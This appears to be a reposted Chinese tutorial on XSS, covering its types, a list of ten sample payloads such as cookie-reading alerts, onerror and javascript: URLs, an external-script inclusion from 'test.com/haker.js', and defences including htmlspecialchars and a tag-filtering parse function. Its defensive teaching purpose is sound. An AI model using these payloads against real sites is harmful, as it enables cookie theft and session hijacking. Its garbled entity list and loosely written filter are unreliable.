了解与防御XSS攻击
一. XSS是什么
XSS攻擊全稱跨站腳本攻擊(Cross Site Scripting),是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁(yè)面中。“XSS本質(zhì)是在于執(zhí)行腳本(javascript/html等),而一個(gè)javascript就可以讓你黑遍整個(gè)世界”。
二. XSS的危害
- 盜取用戶Cookie。
- DOS(拒絕服務(wù))客戶端瀏覽器。
- 釣魚攻擊,高級(jí)的釣魚技巧。
- 刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍。
- 劫持用戶Web行為,甚至進(jìn)一步滲透內(nèi)網(wǎng)。
- 爆發(fā)Web2.0蠕蟲。
- 蠕蟲式的DDoS攻擊。
- 蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網(wǎng)上數(shù)據(jù)
- 其它安全問(wèn)題
三.XSS的分類
XSS分為反射型,存儲(chǔ)型和DOM型。
(1)
反射型 XSS :
用戶在頁(yè)面輸入框中輸入數(shù)據(jù),通過(guò) get 或者 post 方法向服務(wù)器端傳遞數(shù)據(jù),輸入的數(shù)據(jù)一般是放在 URL 的 query string 中,或者是 form 表單中,如果服務(wù)端沒有對(duì)這些數(shù)據(jù)進(jìn)行過(guò)濾、驗(yàn)證或者編碼,直接將用戶輸入的數(shù)據(jù)呈現(xiàn)出來(lái),就可能會(huì)造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常較小,但是某些反射型 XSS 還是會(huì)造成嚴(yán)重后果的。?通常通過(guò)構(gòu)造一個(gè)包含 XSS 代碼的 URL,誘導(dǎo)用戶點(diǎn)擊鏈接,觸發(fā) XSS 代碼,達(dá)到劫持訪問(wèn)、獲取 cookies 的目的。
發(fā)出請(qǐng)求時(shí),XSS代碼出現(xiàn)在URL中,作為輸入提交到服務(wù)器端,服務(wù)器端解析后響應(yīng),XSS代碼隨響應(yīng)內(nèi)容一起傳回給瀏覽器,最后瀏覽器解析執(zhí)行XSS代碼。這個(gè)過(guò)程像一次反射,故叫反射型XSS。
攻擊步驟:
1.攻擊者構(gòu)造出特殊的 URL,其中包含惡意代碼。
2.用戶打開帶有惡意代碼的 URL 時(shí),網(wǎng)站服務(wù)端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
3.用戶瀏覽器接收到響應(yīng)后解析執(zhí)行,混在其中的惡意代碼也被執(zhí)行。
4.惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。
反射型 XSS 跟存儲(chǔ)型 XSS 的區(qū)別是:存儲(chǔ)型 XSS 的惡意代碼存在數(shù)據(jù)庫(kù)里,反射型 XSS 的惡意代碼存在 URL 里。
反射型 XSS 漏洞常見于通過(guò) URL 傳遞參數(shù)的功能,如網(wǎng)站搜索、跳轉(zhuǎn)等。
由于需要用戶主動(dòng)打開惡意的 URL 才能生效,攻擊者往往會(huì)結(jié)合多種手段誘導(dǎo)用戶點(diǎn)擊。
POST 的內(nèi)容也可以觸發(fā)反射型 XSS,只不過(guò)其觸發(fā)條件比較苛刻(需要構(gòu)造表單提交頁(yè)面,并引導(dǎo)用戶點(diǎn)擊),所以非常少見。
(2)
?
存儲(chǔ)型XSS:
存儲(chǔ)型XSS和反射型XSS的差別僅在于,提交的代碼會(huì)存儲(chǔ)在服務(wù)器端(數(shù)據(jù)庫(kù),內(nèi)存,文件系統(tǒng)等),下次請(qǐng)求目標(biāo)頁(yè)面時(shí)不用再提交XSS代碼
最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲(chǔ)到數(shù)據(jù)庫(kù),目標(biāo)用戶查看留言板時(shí),那些留言的內(nèi)容會(huì)從數(shù)據(jù)庫(kù)查詢出來(lái)并顯示,瀏覽器發(fā)現(xiàn)有XSS代碼,就當(dāng)做正常的HTML與Js解析執(zhí)行,于是觸發(fā)了XSS攻擊。
攻擊步驟:
1.攻擊者將惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫(kù)中。
2.用戶打開目標(biāo)網(wǎng)站時(shí),網(wǎng)站服務(wù)端將惡意代碼從數(shù)據(jù)庫(kù)取出,拼接在 HTML 中返回給瀏覽器。
3.用戶瀏覽器接收到響應(yīng)后解析執(zhí)行,混在其中的惡意代碼也被執(zhí)行。
4.惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。
這種攻擊常見于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖、商品評(píng)論、用戶私信等。
(3)
DOM型:
DOM 是一個(gè)樹形結(jié)構(gòu),我們可以通過(guò)寫 js 代碼來(lái)修改節(jié)點(diǎn),對(duì)象和值。DOM XSS 簡(jiǎn)單理解就是它的輸出點(diǎn)在 DOM 。XSS 代碼可能是插入簡(jiǎn)單的<script src="https://test.com/haker.js">,載入第三方的惡意腳本,這些惡意腳本,通常是讀取用戶的 cookie 。
DOM XSS和反射型XSS、存儲(chǔ)型XSS的差別在于DOM XSS的代碼并不需要服務(wù)器參與,觸發(fā)XSS靠的是瀏覽器端的DOM解析,完全是客戶端的事情。
攻擊步驟:
1.攻擊者構(gòu)造出特殊的 URL,其中包含惡意代碼。
2.用戶打開帶有惡意代碼的 URL。
3.用戶瀏覽器接收到響應(yīng)后解析執(zhí)行,前端 JavaScript 取出 URL 中的惡意代碼并執(zhí)行。
4.惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。
DOM 型 XSS 跟前兩種 XSS 的區(qū)別:DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務(wù)端的安全漏洞。
四.常見的XSS攻擊方式
(1)<script>alert('XSS')</script>?? 最普通的XSS
(2)<script>alert(document.cookie)</script>? 獲取cookie
?? (3)?? <img src ="javascript:alert('XSS')">??? img鏈接地址xss
?? (4)?? <script src='ls.js'></script>??? 外部攻擊代碼
?? (5)?? <script>alert/*注釋*/('XSS')</script>??? 注釋方法防止過(guò)濾
?? (6)?? <img src = ' ' οnerrοr=alert('XSS')>??? 加載圖像失敗執(zhí)行
?? (7)?? <iframe onload = alert('XSS')>??? 框架
?? (8)?? <script>location = 'baidu.com';</script>??? 跳轉(zhuǎn)某頁(yè)面
?? (9)?? <a href ="javascript:alert('XSS')"></a>?? a鏈接的xss
?? (10)? body{bockground-image:url(javascript:alert('XSS'))}?? 在css樣式中加入
五.防御方法
以我之前的一個(gè)簡(jiǎn)單留言板作為示例:
?
每次打開打開這個(gè)頁(yè)面都會(huì)彈出這個(gè)alert。這種XSS攻擊為存儲(chǔ)型 ,那需要怎樣預(yù)防呢?
1. 轉(zhuǎn)義HTML
php有內(nèi)置的方法:
htmlspecialchars() 函數(shù)把預(yù)定義的字符轉(zhuǎn)換為 HTML 實(shí)體。
預(yù)定義的字符是:
- & (和號(hào))成為 &
- " (雙引號(hào))成為 "
- ' (單引號(hào))成為 N/A
- < (小于)成為 <
- > (大于)成為 >>
在代碼中加入第二行就可以啦
$messcontent = $_POST['mescontent']; $messcontent = htmlspecialchars($messcontent);?然后會(huì)出現(xiàn)報(bào)錯(cuò),不會(huì)出現(xiàn)XSS攻擊。
?
?<script>alert('XSS')</script> 已經(jīng)被htmlspecialchars()轉(zhuǎn)換成 <script>alert(/XSS/)<script>
?
2.純前端渲染
純前端渲染的過(guò)程:
1.瀏覽器先加載一個(gè)靜態(tài) HTML,此 HTML 中不包含任何跟業(yè)務(wù)相關(guān)的數(shù)據(jù)。
2.然后瀏覽器執(zhí)行 HTML 中的 JavaScript。
3.JavaScript 通過(guò) Ajax 加載業(yè)務(wù)數(shù)據(jù),調(diào)用 DOM API 更新到頁(yè)面上。
在純前端渲染中,我們會(huì)明確的告訴瀏覽器:下面要設(shè)置的內(nèi)容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會(huì)被輕易的被欺騙,執(zhí)行預(yù)期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請(qǐng)參考下文”預(yù)防 DOM 型 XSS 攻擊“部分)。
在很多內(nèi)部、管理系統(tǒng)中,采用純前端渲染是非常合適的。但對(duì)于性能要求高,或有 SEO 需求的頁(yè)面,我們?nèi)匀灰鎸?duì)拼接 HTML 的問(wèn)題。
3.預(yù)防 DOM 型 XSS 攻擊
DOM 型 XSS 攻擊,實(shí)際上就是網(wǎng)站前端 JavaScript 代碼本身不夠嚴(yán)謹(jǐn),把不可信的數(shù)據(jù)當(dāng)作代碼執(zhí)行了。
在使用 .innerHTML、.outerHTML、document.write() 時(shí)要特別小心,不要把不可信的數(shù)據(jù)作為 HTML 插到頁(yè)面上,而應(yīng)盡量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技術(shù)棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
DOM 中的內(nèi)聯(lián)事件監(jiān)聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標(biāo)簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運(yùn)行。如果不可信的數(shù)據(jù)拼接到字符串中傳遞給這些 API,很容易產(chǎn)生安全隱患,請(qǐng)務(wù)必避免。
4.輸入內(nèi)容長(zhǎng)度控制
對(duì)于不受信任的輸入,都應(yīng)該限定一個(gè)合理的長(zhǎng)度。雖然無(wú)法完全防止 XSS 發(fā)生,但可以增加 XSS 攻擊的難度。
?
5.對(duì)用戶輸入數(shù)據(jù)的處理
通過(guò)一個(gè)例子講解一下如何處理用戶輸入的數(shù)據(jù)。
實(shí)現(xiàn)原理如下:
?
<script src='/javascripts/htmlparse.js'></script> <script src='/javascripts/he.js'></script> // 第三方庫(kù)資源在文章底部給出// parse函數(shù)實(shí)現(xiàn)如下function parse (str) {// str假如為某個(gè)DOM字符串// 1. result為處理之后的DOM節(jié)點(diǎn)let result = ''// 2. 解碼let decode = he.unescape(str, {strict: true})HTMLParser(decode, {start (tag, attrs, unary) {// 3. 過(guò)濾常見危險(xiǎn)的標(biāo)簽if (tag === 'script' || tag === 'img' || tag === 'link' || tag === 'style' || tag === 'iframe' || tag === 'frame') returnresult += `<${tag}`for (let i = 0; i < attrs.length; i++) {let name = (attrs[i].name).toLowerCase()let value = attrs[i].escaped// 3. 過(guò)濾掉危險(xiǎn)的style屬性和js事件if (name === 'style' || name === 'href' || name === 'src' || ~name.indexOf('on')) continueresult += ` ${name}=${value}`}result += `${unary ? ' /' : ''} >`},chars (text) {result += text},comment (text) {result += `<!-- ${text} -->`},end (tag) {result += `</${tag}>`}})return result}因此,有了以上的parse函數(shù)之后,就可以避免大部分的xss攻擊了。
稍微總結(jié)一下
?
?
6.其他安全措施
HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無(wú)法竊取此 Cookie。
驗(yàn)證碼:防止腳本冒充用戶提交危險(xiǎn)操作。
?
總結(jié)
以上是生活随笔為你收集整理的了解与防御XSS攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: c++计算eigen随笔(9)-数组、矩
- 下一篇: c++计算eigen随笔(10)-数组、